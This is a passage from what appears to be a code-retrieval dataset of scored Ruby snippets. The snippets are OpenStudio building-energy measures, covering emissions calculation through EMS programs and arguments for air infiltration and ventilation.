target_temp_si)\n end\n end\n end\n else\n runner.registerWarning(\"Schedule '#{k}' isn't a ScheduleRuleset object and won't be altered by this measure.\")\n v.remove # remove un-used clone\n end\n end\n end\n return true\n end", "title": "" }, { "docid": "a88ebdca3a043697c1f62ae4c5a30072", "score": "0.59324193", "text": "def run(model, runner, usr_args)\n super(model, runner, usr_args)\n\n # use the built-in error checking\n return false unless runner.validateUserArguments(arguments(model), usr_args)\n\n # assign the user inputs to variables\n future_subregion = runner.getStringArgumentValue('future_subregion', usr_args)\n hourly_historical_subregion = runner.getStringArgumentValue('hourly_historical_subregion', usr_args)\n annual_historical_subregion = runner.getStringArgumentValue('annual_historical_subregion', usr_args)\n future_year = runner.getStringArgumentValue('future_year', usr_args).to_i\n hourly_historical_year = runner.getStringArgumentValue('hourly_historical_year', usr_args).to_i\n annual_historical_year = runner.getStringArgumentValue('annual_historical_year', usr_args).to_i\n\n # log errors if users select arguments not supported by the measure\n arguments(model).each do |argument|\n\n case argument.name\n \n when 'future_subregion'\n if !argument.choiceValues.include? future_subregion\n runner.registerError(\"#{future_subregion} is not a valid option. Please select from of the following future_subregion options #{argument.choiceValues}\")\n end\n when 'hourly_historical_subregion'\n if !argument.choiceValues.include? hourly_historical_subregion\n runner.registerError(\"#{hourly_historical_subregion} is not a valid option. Please select from of the following hourly_historical_subregion options #{argument.choiceValues}\")\n end\n when 'annual_historical_subregion'\n if !argument.choiceValues.include? annual_historical_subregion\n runner.registerError(\"#{annual_historical_subregion} is not a valid option. Please select from of the following annual_historical_subregion options #{argument.choiceValues}\")\n end\n when 'future_year'\n if !argument.choiceValues.include? future_year.to_s\n runner.registerError(\"#{future_year} is not a valid option. Please select from of the following future_year options #{argument.choiceValues}\")\n end\n when 'hourly_historical_year'\n if !argument.choiceValues.include? hourly_historical_year.to_s\n runner.registerError(\"#{hourly_historical_year} is not a valid option. Please select from of the following hourly_historical_year options #{argument.choiceValues}\")\n end\n when 'annual_historical_year'\n if !argument.choiceValues.include? annual_historical_year.to_s\n runner.registerError(\"#{annual_historical_year} is not a valid option. Please select from of the following annual_historical_year options #{argument.choiceValues}\")\n end\n\n end\n\n end\n\n fut_hr_path = \"#{__dir__}/resources/future_hourly_co2e_#{future_year}.csv\"\n his_hr_path = \"#{__dir__}/resources/historical_hourly_co2e_#{hourly_historical_year}.csv\"\n fut_yr_path = \"#{__dir__}/resources/future_annual_co2e.csv\"\n his_yr_path = \"#{__dir__}/resources/historical_annual_co2e.csv\"\n\n # find external files\n if ((File.exist?(fut_hr_path)) and (File.exist?(fut_yr_path)) and (File.exist?(his_hr_path)) and (File.exist?(his_yr_path)))\n fut_hr_file = OpenStudio::Model::ExternalFile.getExternalFile(model, fut_hr_path)\n his_hr_file = OpenStudio::Model::ExternalFile.getExternalFile(model, his_hr_path)\n fut_yr_file = OpenStudio::Model::ExternalFile.getExternalFile(model, fut_yr_path)\n his_yr_file = OpenStudio::Model::ExternalFile.getExternalFile(model, his_yr_path)\n if ((fut_hr_file.is_initialized) and (his_hr_file.is_initialized) and (fut_yr_file.is_initialized) and (his_yr_file.is_initialized))\n fut_hr_file = fut_hr_file.get\n his_hr_file = his_hr_file.get\n fut_yr_file = fut_yr_file.get\n his_yr_file = his_yr_file.get\n fut_hr_data = CSV.read(fut_hr_path, headers: true)\n his_hr_data = CSV.read(his_hr_path, headers: true)\n fut_yr_data = CSV.read(fut_yr_path, headers: true)\n his_yr_data = CSV.read(his_yr_path, headers: true)\n end\n else\n runner.registerError(\"Could not find CSV file at one of more of the following paths: #{fut_hr_path}, #{his_hr_path}, #{fut_yr_path}, or #{his_yr_path}\")\n return false\n end\n\n # add schedule type limits for schedule file\n lim_type = OpenStudio::Model::ScheduleTypeLimits.new(model)\n lim_type.setName('Emissions Sch File Type Limits')\n\n # add future schedule file\n sch_file = OpenStudio::Model::ScheduleFile.new(fut_hr_file)\n sch_file.setName(\"#{future_subregion} #{future_year} Future Hourly Emissions Sch\")\n sch_file.setScheduleTypeLimits(lim_type)\n sch_file.setColumnNumber(fut_hr_data.headers.index(future_subregion) + 1)\n sch_file.setRowstoSkipatTop(1)\n sch_file.setNumberofHoursofData(8760)\n sch_file.setColumnSeparator('Comma')\n sch_file.setInterpolatetoTimestep(false)\n sch_file.setMinutesperItem(60)\n\n # add historical schedule file\n sch_file = OpenStudio::Model::ScheduleFile.new(his_hr_file)\n sch_file.setName(\"#{hourly_historical_subregion} #{hourly_historical_year} Historical Hourly Emissions Sch\")\n sch_file.setScheduleTypeLimits(lim_type)\n sch_file.setColumnNumber(his_hr_data.headers.index(hourly_historical_subregion) + 1)\n sch_file.setRowstoSkipatTop(1)\n sch_file.setNumberofHoursofData(8760)\n sch_file.setColumnSeparator('Comma')\n sch_file.setInterpolatetoTimestep(false)\n sch_file.setMinutesperItem(60)\n\n # add EMS sensor for future schedule file\n fut_sens = OpenStudio::Model::EnergyManagementSystemSensor.new(model, 'Schedule Value')\n fut_sens.setKeyName(\"#{future_subregion} #{future_year} Future Hourly Emissions Sch\")\n fut_sens.setName('Fut_Sen')\n\n # add EMS sensor for historical schedule file\n his_sens = OpenStudio::Model::EnergyManagementSystemSensor.new(model, 'Schedule Value')\n his_sens.setKeyName(\"#{hourly_historical_subregion} #{hourly_historical_year} Historical Hourly Emissions Sch\")\n his_sens.setName('His_Sen')\n\n # add whole-building electricity sensor\n ele_sens = OpenStudio::Model::EnergyManagementSystemSensor.new(model, 'Facility Total Purchased Electricity Energy')\n ele_sens.setKeyName('Whole Building')\n ele_sens.setName('Ele_Sen')\n\n ems_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_prgm.setName('Emissions_Calc_Prgm')\n ems_prgm.addLine('SET fut_hr_val = Fut_Sen')\n ems_prgm.addLine('SET his_hr_val = His_Sen')\n fut_yr_data.each {|r| ems_prgm.addLine(\"SET fut_yr_val = #{r[future_subregion]}\") if r[0].to_i == future_year}\n his_yr_data.each {|r| ems_prgm.addLine(\"SET his_yr_val = #{r[annual_historical_subregion]}\") if r[0].to_i == annual_historical_year}\n ems_prgm.addLine('SET elec = Ele_Sen')\n ems_prgm.addLine('SET conv = 1000000 * 60 * 60') # J to MWh (1000000J/MJ * 60hr/min * 60 min/sec)\n ems_prgm.addLine('SET conv_kg_mt = 0.001') # kg to metric ton\n ems_prgm.addLine('SET fut_hr = (fut_hr_val * elec / conv) * conv_kg_mt')\n ems_prgm.addLine('SET his_hr = (his_hr_val * elec / conv) * conv_kg_mt')\n ems_prgm.addLine('SET fut_yr = (fut_yr_val * elec / conv) * conv_kg_mt')\n ems_prgm.addLine('SET his_yr = (his_yr_val * elec / conv) * conv_kg_mt')\n\n\n #### add emissions intensity metric\n # get building from model \n building = model.getBuilding\n floor_area = building.floorArea * 10.764 #change from m2 to ft2\n #add metric\n ems_prgm.addLine(\"SET fut_hr_intensity = fut_hr * 1000 / #{floor_area}\") # unit: kg/ft2 - changed mt to kg\n ems_prgm.addLine(\"SET his_hr_intensity = his_hr * 1000 / #{floor_area}\") # unit: kg/ft2 - changed mt to kg\n ems_prgm.addLine(\"SET fut_yr_intensity = fut_yr * 1000 / #{floor_area}\") # unit: kg/ft2 - changed mt to kg\n ems_prgm.addLine(\"SET his_yr_intensity = his_yr * 1000 / #{floor_area}\") # unit: kg/ft2 - changed mt to kg\n \n # add EMS program calling manager\n mgr_prgm = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n mgr_prgm.setName('Emissions Calc Prgm')\n mgr_prgm.setCallingPoint('EndOfSystemTimestepBeforeHVACReporting')\n mgr_prgm.setProgram(ems_prgm, 0)\n\n # add future hourly EMS output variable\n ems_var1 = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, 'fut_hr')\n ems_var1.setName('Future_Hourly_Electricity_Emissions')\n ems_var1.setEMSVariableName('fut_hr')\n ems_var1.setTypeOfDataInVariable('Summed')\n ems_var1.setUpdateFrequency('SystemTimestep')\n ems_var1.setEMSProgramOrSubroutineName(ems_prgm)\n ems_var1.setUnits('mt')\n\n # add historical hourly EMS output variable\n ems_var2 = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, 'his_hr')\n ems_var2.setName('Historical_Hourly_Electricity_Emissions')\n ems_var2.setEMSVariableName('his_hr')\n ems_var2.setTypeOfDataInVariable('Summed')\n ems_var2.setUpdateFrequency('SystemTimestep')\n ems_var2.setEMSProgramOrSubroutineName(ems_prgm)\n ems_var2.setUnits('mt')\n\n # add future annual EMS output variable\n ems_var3 = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, 'fut_yr')\n ems_var3.setName('Future_Annual_Electricity_Emissions')\n ems_var3.setEMSVariableName('fut_yr')\n ems_var3.setTypeOfDataInVariable('Summed')\n ems_var3.setUpdateFrequency('SystemTimestep')\n ems_var3.setEMSProgramOrSubroutineName(ems_prgm)\n ems_var3.setUnits('mt')\n\n # add historical annual EMS output variable\n ems_var4 = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, 'his_yr')\n ems_var4.setName('Historical_Annual_Electricity_Emissions')\n ems_var4.setEMSVariableName('his_yr')\n ems_var4.setTypeOfDataInVariable('Summed')\n ems_var4.setUpdateFrequency('SystemTimestep')\n ems_var4.setEMSProgramOrSubroutineName(ems_prgm)\n ems_var4.setUnits('mt')\n\n\n ##### add emissions intensity \n # add future hourly EMS output variable\n ems_var5 = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, 'fut_hr_intensity')\n ems_var5.setName('Future_Hourly_Electricity_Emissions_Intensity')\n ems_var5.setEMSVariableName('fut_hr_intensity')\n ems_var5.setTypeOfDataInVariable('Summed')\n ems_var5.setUpdateFrequency('SystemTimestep')\n ems_var5.setEMSProgramOrSubroutineName(ems_prgm)\n ems_var5.setUnits('kg/ft2')\n\n # add historical hourly EMS output variable\n ems_var6 = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, 'his_hr_intensity')\n ems_var6.setName('Historical_Hourly_Electricity_Emissions_Intensity')\n ems_var6.setEMSVariableName('his_hr_intensity')\n ems_var6.setTypeOfDataInVariable('Summed')\n ems_var6.setUpdateFrequency('SystemTimestep')\n ems_var6.setEMSProgramOrSubroutineName(ems_prgm)\n ems_var6.setUnits('kg/ft2')\n\n # add future annual EMS output variable\n ems_var7 = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, 'fut_yr_intensity')\n ems_var7.setName('Future_Annual_Electricity_Emissions_Intensity')\n ems_var7.setEMSVariableName('fut_yr_intensity')\n ems_var7.setTypeOfDataInVariable('Summed')\n ems_var7.setUpdateFrequency('SystemTimestep')\n ems_var7.setEMSProgramOrSubroutineName(ems_prgm)\n ems_var7.setUnits('kg/ft2')\n\n # add historical annual EMS output variable\n ems_var8 = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model, 'his_yr_intensity')\n ems_var8.setName('Historical_Annual_Electricity_Emissions_Intensity')\n ems_var8.setEMSVariableName('his_yr_intensity')\n ems_var8.setTypeOfDataInVariable('Summed')\n ems_var8.setUpdateFrequency('SystemTimestep')\n ems_var8.setEMSProgramOrSubroutineName(ems_prgm)\n ems_var8.setUnits('kg/ft2')\n\n # add future hourly reporting output variable\n out_var1 = OpenStudio::Model::OutputVariable.new('Future_Hourly_Electricity_Emissions', model)\n out_var1.setKeyValue('EMS')\n out_var1.setReportingFrequency('hourly')\n\n # add historical hourly reporting output variable\n out_var2 = OpenStudio::Model::OutputVariable.new('Historical_Hourly_Electricity_Emissions', model)\n out_var2.setKeyValue('EMS')\n out_var2.setReportingFrequency('hourly')\n\n # add future annual reporting output variable\n out_var3 = OpenStudio::Model::OutputVariable.new('Future_Annual_Electricity_Emissions', model)\n out_var3.setKeyValue('EMS')\n out_var3.setReportingFrequency('hourly')\n\n # add historical annual reporting output variable\n out_var4 = OpenStudio::Model::OutputVariable.new('Historical_Annual_Electricity_Emissions', model)\n out_var4.setKeyValue('EMS')\n out_var4.setReportingFrequency('hourly')\n\n # add future hourly intensity reporting output variable\n out_var5 = OpenStudio::Model::OutputVariable.new('Future_Hourly_Electricity_Emissions_Intensity', model)\n out_var5.setKeyValue('EMS')\n out_var5.setReportingFrequency('hourly')\n\n # add historical hourly intensity reporting output variable\n out_var6 = OpenStudio::Model::OutputVariable.new('Historical_Hourly_Electricity_Emissions_Intensity', model)\n out_var6.setKeyValue('EMS')\n out_var6.setReportingFrequency('hourly')\n\n # add future annual intensity reporting output variable\n out_var7 = OpenStudio::Model::OutputVariable.new('Future_Annual_Electricity_Emissions_Intensity', model)\n out_var7.setKeyValue('EMS')\n out_var7.setReportingFrequency('hourly')\n\n # add historical annual intensity reporting output variable\n out_var8 = OpenStudio::Model::OutputVariable.new('Historical_Annual_Electricity_Emissions_Intensity', model)\n out_var8.setKeyValue('EMS')\n out_var8.setReportingFrequency('hourly')\n\n return true\n end", "title": "" }, { "docid": "fd372a9b79908764ca6d95c6f7c6de36", "score": "0.59301776", "text": "def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n #make a double argument for infiltration of living space\n living_ach50 = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"living_ach50\", false)\n living_ach50.setDisplayName(\"Air Leakage: Above-Grade Living Space ACH50\")\n living_ach50.setUnits(\"1/hr\")\n living_ach50.setDescription(\"Air exchange rate, in Air Changes per Hour at 50 Pascals (ACH50), for above-grade living space (including finished attic).\")\n living_ach50.setDefaultValue(7)\n args << living_ach50\n\n #make a double argument for infiltration of garage\n garage_ach50 = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"garage_ach50\", false)\n garage_ach50.setDisplayName(\"Garage: ACH50\")\n garage_ach50.setUnits(\"1/hr\")\n garage_ach50.setDescription(\"Air exchange rate, in Air Changes per Hour at 50 Pascals (ACH50), for the garage.\")\n garage_ach50.setDefaultValue(7)\n args << garage_ach50\n\n #make a double argument for infiltration of finished basement\n finished_basement_ach = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"finished_basement_ach\", false)\n finished_basement_ach.setDisplayName(\"Finished Basement: Constant ACH\")\n finished_basement_ach.setUnits(\"1/hr\")\n finished_basement_ach.setDescription(\"Constant air exchange rate, in Air Changes per Hour (ACH), for the finished basement.\")\n finished_basement_ach.setDefaultValue(0.0)\n args << finished_basement_ach\n\t\n #make a double argument for infiltration of unfinished basement\n unfinished_basement_ach = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"unfinished_basement_ach\", false)\n unfinished_basement_ach.setDisplayName(\"Unfinished Basement: Constant ACH\")\n unfinished_basement_ach.setUnits(\"1/hr\")\n unfinished_basement_ach.setDescription(\"Constant air exchange rate, in Air Changes per Hour (ACH), for the unfinished basement. A value of 0.10 ACH or greater is recommended for modeling Heat Pump Water Heaters in unfinished basements.\")\n unfinished_basement_ach.setDefaultValue(0.1)\n args << unfinished_basement_ach\n\t\n #make a double argument for infiltration of crawlspace\n crawl_ach = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"crawl_ach\", false)\n crawl_ach.setDisplayName(\"Crawlspace: Constant ACH\")\n crawl_ach.setUnits(\"1/hr\")\n crawl_ach.setDescription(\"Air exchange rate, in Air Changes per Hour at 50 Pascals (ACH50), for the crawlspace.\")\n crawl_ach.setDefaultValue(0.0)\n args << crawl_ach\n\n #make a double argument for infiltration of pier & beam\n pier_beam_ach = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"pier_beam_ach\", false)\n pier_beam_ach.setDisplayName(\"Pier & Beam: Constant ACH\")\n pier_beam_ach.setUnits(\"1/hr\")\n pier_beam_ach.setDescription(\"Air exchange rate, in Air Changes per Hour at 50 Pascals (ACH50), for the pier & beam foundation.\")\n pier_beam_ach.setDefaultValue(100.0)\n args << pier_beam_ach\n\n #make a double argument for infiltration of unfinished attic\n unfinished_attic_sla = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"unfinished_attic_sla\", false)\n unfinished_attic_sla.setDisplayName(\"Unfinished Attic: SLA\")\n unfinished_attic_sla.setDescription(\"Ratio of the effective leakage area (infiltration and/or ventilation) in the unfinished attic to the total floor area of the attic.\")\n unfinished_attic_sla.setDefaultValue(0.00333)\n args << unfinished_attic_sla\n\n #make a double argument for shelter coefficient\n shelter_coef = OpenStudio::Measure::OSArgument::makeStringArgument(\"shelter_coef\", false)\n shelter_coef.setDisplayName(\"Air Leakage: Shelter Coefficient\")\n shelter_coef.setDescription(\"The local shelter coefficient (AIM-2 infiltration model) accounts for nearby buildings, trees and obstructions.\")\n shelter_coef.setDefaultValue(\"auto\")\n args << shelter_coef\n \n #make a double argument for open hvac flue\n has_hvac_flue = OpenStudio::Measure::OSArgument::makeBoolArgument(\"has_hvac_flue\", false)\n has_hvac_flue.setDisplayName(\"Air Leakage: Has Open HVAC Flue\")\n has_hvac_flue.setDescription(\"Specifies whether the building has an open flue associated with the HVAC system.\")\n has_hvac_flue.setDefaultValue(false)\n args << has_hvac_flue \n\n #make a double argument for open water heater flue\n has_water_heater_flue = OpenStudio::Measure::OSArgument::makeBoolArgument(\"has_water_heater_flue\", false)\n has_water_heater_flue.setDisplayName(\"Air Leakage: Has Open Water Heater Flue\")\n has_water_heater_flue.setDescription(\"Specifies whether the building has an open flue associated with the water heater.\")\n has_water_heater_flue.setDefaultValue(false)\n args << has_water_heater_flue \n\n #make a double argument for open fireplace chimney\n has_fireplace_chimney = OpenStudio::Measure::OSArgument::makeBoolArgument(\"has_fireplace_chimney\", false)\n has_fireplace_chimney.setDisplayName(\"Air Leakage: Has Open HVAC Flue\")\n has_fireplace_chimney.setDescription(\"Specifies whether the building has an open chimney associated with a fireplace.\")\n has_fireplace_chimney.setDefaultValue(false)\n args << has_fireplace_chimney \n\n #make a choice arguments for terrain type\n terrain_types_names = OpenStudio::StringVector.new\n terrain_types_names << Constants.TerrainOcean\n terrain_types_names << Constants.TerrainPlains\n terrain_types_names << Constants.TerrainRural\n terrain_types_names << Constants.TerrainSuburban\n terrain_types_names << Constants.TerrainCity\n terrain = OpenStudio::Measure::OSArgument::makeChoiceArgument(\"terrain\", terrain_types_names, true)\n terrain.setDisplayName(\"Air Leakage: Site Terrain\")\n terrain.setDescription(\"The terrain of the site.\")\n terrain.setDefaultValue(Constants.TerrainSuburban)\n args << terrain\n\n #make a choice argument for ventilation type\n ventilation_types_names = OpenStudio::StringVector.new\n ventilation_types_names << Constants.VentTypeNone\n ventilation_types_names << Constants.VentTypeExhaust\n ventilation_types_names << Constants.VentTypeSupply\n ventilation_types_names << Constants.VentTypeBalanced\n mech_vent_type = OpenStudio::Measure::OSArgument::makeChoiceArgument(\"mech_vent_type\", ventilation_types_names, false)\n mech_vent_type.setDisplayName(\"Mechanical Ventilation: Ventilation Type\")\n mech_vent_type.setDescription(\"Whole house ventilation strategy used.\")\n mech_vent_type.setDefaultValue(Constants.VentTypeExhaust)\n args << mech_vent_type\n\n #make a double argument for total efficiency\n mech_vent_total_efficiency = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"mech_vent_total_efficiency\",false)\n mech_vent_total_efficiency.setDisplayName(\"Mechanical Ventilation: Total Recovery Efficiency\")\n mech_vent_total_efficiency.setDescription(\"The net total energy (sensible plus latent, also called enthalpy) recovered by the supply airstream adjusted by electric consumption, case heat loss or heat gain, air leakage and airflow mass imbalance between the two airstreams, as a percent of the potential total energy that could be recovered plus the exhaust fan energy.\")\n mech_vent_total_efficiency.setDefaultValue(0)\n args << mech_vent_total_efficiency\n\n #make a double argument for sensible efficiency\n mech_vent_sensible_efficiency = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"mech_vent_sensible_efficiency\",false)\n mech_vent_sensible_efficiency.setDisplayName(\"Mechanical Ventilation: Sensible Recovery Efficiency\")\n mech_vent_sensible_efficiency.setDescription(\"The net sensible energy recovered by the supply airstream as adjusted by electric consumption, case heat loss or heat gain, air leakage, airflow mass imbalance between the two airstreams and the energy used for defrost (when running the Very Low Temperature Test), as a percent of the potential sensible energy that could be recovered plus the exhaust fan energy.\")\n mech_vent_sensible_efficiency.setDefaultValue(0)\n args << mech_vent_sensible_efficiency\n\n #make a double argument for house fan power\n mech_vent_fan_power = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"mech_vent_fan_power\",false)\n mech_vent_fan_power.setDisplayName(\"Mechanical Ventilation: Fan Power\")\n mech_vent_fan_power.setUnits(\"W/cfm\")\n mech_vent_fan_power.setDescription(\"Fan power (in W) per delivered airflow rate (in cfm) of fan(s) providing whole house ventilation. If the house uses a balanced ventilation system there is assumed to be two fans operating at this efficiency.\")\n mech_vent_fan_power.setDefaultValue(0.3)\n args << mech_vent_fan_power\n\n #make a double argument for fraction of ashrae\n mech_vent_frac_62_2 = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"mech_vent_frac_62_2\",false)\n mech_vent_frac_62_2.setDisplayName(\"Mechanical Ventilation: Fraction of ASHRAE 62.2\")\n mech_vent_frac_62_2.setUnits(\"frac\")\n mech_vent_frac_62_2.setDescription(\"Fraction of the ventilation rate (including any infiltration credit) specified by ASHRAE 62.2 that is desired in the building.\")\n mech_vent_frac_62_2.setDefaultValue(1.0)\n args << mech_vent_frac_62_2\n\n #make a choice argument for ashrae standard\n standard_types_names = OpenStudio::StringVector.new\n standard_types_names << \"2010\"\n standard_types_names << \"2013\"\n\t\n #make a double argument for ashrae standard\n mech_vent_ashrae_std = OpenStudio::Measure::OSArgument::makeChoiceArgument(\"mech_vent_ashrae_std\", standard_types_names, false)\n mech_vent_ashrae_std.setDisplayName(\"Mechanical Ventilation: ASHRAE 62.2 Standard\")\n mech_vent_ashrae_std.setDescription(\"Specifies which version (year) of the ASHRAE 62.2 Standard should be used.\")\n mech_vent_ashrae_std.setDefaultValue(\"2010\")\n args << mech_vent_ashrae_std\t\n\n #make a bool argument for infiltration credit\n mech_vent_infil_credit = OpenStudio::Measure::OSArgument::makeBoolArgument(\"mech_vent_infil_credit\",false)\n mech_vent_infil_credit.setDisplayName(\"Mechanical Ventilation: Allow Infiltration Credit\")\n mech_vent_infil_credit.setDescription(\"Defines whether the infiltration credit allowed per the ASHRAE 62.2 Standard will be included in the calculation of the mechanical ventilation rate. If True, the infiltration credit will apply 1) to new/existing single-family detached homes for 2013 ASHRAE 62.2, or 2) to existing single-family detached or multi-family homes for 2010 ASHRAE 62.2.\")\n mech_vent_infil_credit.setDefaultValue(true)\n args << mech_vent_infil_credit\n\n #make a boolean argument for if an existing home\n is_existing_home = OpenStudio::Measure::OSArgument::makeBoolArgument(\"is_existing_home\", true)\n is_existing_home.setDisplayName(\"Mechanical Ventilation: Is Existing Home\")\n is_existing_home.setDescription(\"Specifies whether the building is an existing home or new construction.\")\n is_existing_home.setDefaultValue(false)\n args << is_existing_home\n \n #make a double argument for dryer exhaust\n clothes_dryer_exhaust = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"clothes_dryer_exhaust\",false)\n clothes_dryer_exhaust.setDisplayName(\"Clothes Dryer: Exhaust\")\n clothes_dryer_exhaust.setUnits(\"cfm\")\n clothes_dryer_exhaust.setDescription(\"Rated flow capacity of the clothes dryer exhaust. This fan is assumed to run 60 min/day between 11am and 12pm.\")\n clothes_dryer_exhaust.setDefaultValue(100.0)\n args << clothes_dryer_exhaust\n\n #make a double argument for heating season setpoint offset\n nat_vent_htg_offset = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"nat_vent_htg_offset\",false)\n nat_vent_htg_offset.setDisplayName(\"Natural Ventilation: Heating Season Setpoint Offset\")\n nat_vent_htg_offset.setUnits(\"degrees F\")\n nat_vent_htg_offset.setDescription(\"The temperature offset below the hourly cooling setpoint, to which the living space is allowed to cool during months that are only in the heating season.\")\n nat_vent_htg_offset.setDefaultValue(1.0)\n args << nat_vent_htg_offset\n\n #make a double argument for cooling season setpoint offset\n nat_vent_clg_offset = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"nat_vent_clg_offset\",false)\n nat_vent_clg_offset.setDisplayName(\"Natural Ventilation: Cooling Season Setpoint Offset\")\n nat_vent_clg_offset.setUnits(\"degrees F\")\n nat_vent_clg_offset.setDescription(\"The temperature offset above the hourly heating setpoint, to which the living space is allowed to cool during months that are only in the cooling season.\")\n nat_vent_clg_offset.setDefaultValue(1.0)\n args << nat_vent_clg_offset\n\n #make a double argument for overlap season setpoint offset\n nat_vent_ovlp_offset = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"nat_vent_ovlp_offset\",false)\n nat_vent_ovlp_offset.setDisplayName(\"Natural Ventilation: Overlap Season Setpoint Offset\")\n nat_vent_ovlp_offset.setUnits(\"degrees F\")\n nat_vent_ovlp_offset.setDescription(\"The temperature offset above the maximum heating setpoint, to which the living space is allowed to cool during months that are in both the heating season and cooling season.\")\n nat_vent_ovlp_offset.setDefaultValue(1.0)\n args << nat_vent_ovlp_offset\n\n #make a bool argument for heating season\n nat_vent_htg_season = OpenStudio::Measure::OSArgument::makeBoolArgument(\"nat_vent_htg_season\",false)\n nat_vent_htg_season.setDisplayName(\"Natural Ventilation: Heating Season\")\n nat_vent_htg_season.setDescription(\"True if windows are allowed to be opened during months that are only in the heating season.\")\n nat_vent_htg_season.setDefaultValue(true)\n args << nat_vent_htg_season\n\n #make a bool argument for cooling season\n nat_vent_clg_season = OpenStudio::Measure::OSArgument::makeBoolArgument(\"nat_vent_clg_season\",false)\n nat_vent_clg_season.setDisplayName(\"Natural Ventilation: Cooling Season\")\n nat_vent_clg_season.setDescription(\"True if windows are allowed to be opened during months that are only in the cooling season.\")\n nat_vent_clg_season.setDefaultValue(true)\n args << nat_vent_clg_season\n\n #make a bool argument for overlap season\n nat_vent_ovlp_season = OpenStudio::Measure::OSArgument::makeBoolArgument(\"nat_vent_ovlp_season\",false)\n nat_vent_ovlp_season.setDisplayName(\"Natural Ventilation: Overlap Season\")\n nat_vent_ovlp_season.setDescription(\"True if windows are allowed to be opened during months that are in both the heating season and cooling season.\")\n nat_vent_ovlp_season.setDefaultValue(true)\n args << nat_vent_ovlp_season\n\n #make a double argument for number weekdays\n nat_vent_num_weekdays = OpenStudio::Measure::OSArgument::makeIntegerArgument(\"nat_vent_num_weekdays\",false)\n nat_vent_num_weekdays.setDisplayName(\"Natural Ventilation: Number Weekdays\")\n nat_vent_num_weekdays.setDescription(\"Number of weekdays in the week that natural ventilation can occur.\")\n nat_vent_num_weekdays.setDefaultValue(3)\n args << nat_vent_num_weekdays\n\n #make a double argument for number weekend days\n nat_vent_num_weekends = OpenStudio::Measure::OSArgument::makeIntegerArgument(\"nat_vent_num_weekends\",false)\n nat_vent_num_weekends.setDisplayName(\"Natural Ventilation: Number Weekend Days\")\n nat_vent_num_weekends.setDescription(\"Number of weekend days in the week that natural ventilation can occur.\")\n nat_vent_num_weekends.setDefaultValue(0)\n args << nat_vent_num_weekends\n\n #make a double argument for fraction of windows open\n nat_vent_frac_windows_open = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"nat_vent_frac_windows_open\",false)\n nat_vent_frac_windows_open.setDisplayName(\"Natural Ventilation: Fraction of Openable Windows Open\")\n nat_vent_frac_windows_open.setUnits(\"frac\")\n nat_vent_frac_windows_open.setDescription(\"Specifies the fraction of the total openable window area in the building that is opened for ventilation.\")\n nat_vent_frac_windows_open.setDefaultValue(0.33)\n args << nat_vent_frac_windows_open\n\n #make a double argument for fraction of window area open\n nat_vent_frac_window_area_openable = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"nat_vent_frac_window_area_openable\",false)\n nat_vent_frac_window_area_openable.setDisplayName(\"Natural Ventilation: Fraction Window Area Openable\")\n nat_vent_frac_window_area_openable.setUnits(\"frac\")\n nat_vent_frac_window_area_openable.setDescription(\"Specifies the fraction of total window area in the home that can be opened (e.g. typical sliding windows can be opened to half of their area).\")\n nat_vent_frac_window_area_openable.setDefaultValue(0.2)\n args << nat_vent_frac_window_area_openable\n\n #make a double argument for humidity ratio\n nat_vent_max_oa_hr = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"nat_vent_max_oa_hr\",false)\n nat_vent_max_oa_hr.setDisplayName(\"Natural Ventilation: Max OA Humidity Ratio\")\n nat_vent_max_oa_hr.setUnits(\"frac\")\n nat_vent_max_oa_hr.setDescription(\"Outdoor air humidity ratio above which windows will not open for natural ventilation.\")\n nat_vent_max_oa_hr.setDefaultValue(0.0115)\n args << nat_vent_max_oa_hr\n\n #make a double argument for relative humidity ratio\n nat_vent_max_oa_rh = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"nat_vent_max_oa_rh\",false)\n nat_vent_max_oa_rh.setDisplayName(\"Natural Ventilation: Max OA Relative Humidity\")\n nat_vent_max_oa_rh.setUnits(\"frac\")\n nat_vent_max_oa_rh.setDescription(\"Outdoor air relative humidity (0-1) above which windows will not open for natural ventilation.\")\n nat_vent_max_oa_rh.setDefaultValue(0.7)\n args << nat_vent_max_oa_rh\n\t\n #make a choice arguments for duct location\n duct_locations = OpenStudio::StringVector.new\n duct_locations << \"none\"\n duct_locations << Constants.Auto\n duct_locations << Constants.LivingZone\n duct_locations << Constants.AtticZone\n duct_locations << Constants.FinishedAtticZone\n duct_locations << Constants.UnfinishedAtticZone\n duct_locations << Constants.BasementZone\n duct_locations << Constants.FinishedBasementZone\n duct_locations << Constants.UnfinishedBasementZone\n duct_locations << Constants.CrawlZone\n duct_locations << Constants.PierBeamZone\n duct_locations << Constants.GarageZone\n duct_location = OpenStudio::Measure::OSArgument::makeChoiceArgument(\"duct_location\", duct_locations, true)\n duct_location.setDisplayName(\"Ducts: Location\")\n duct_location.setDescription(\"The space with the primary location of ducts.\")\n duct_location.setDefaultValue(Constants.Auto)\n args << duct_location\n \n #make a double argument for total leakage\n duct_total_leakage = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"duct_total_leakage\", false)\n 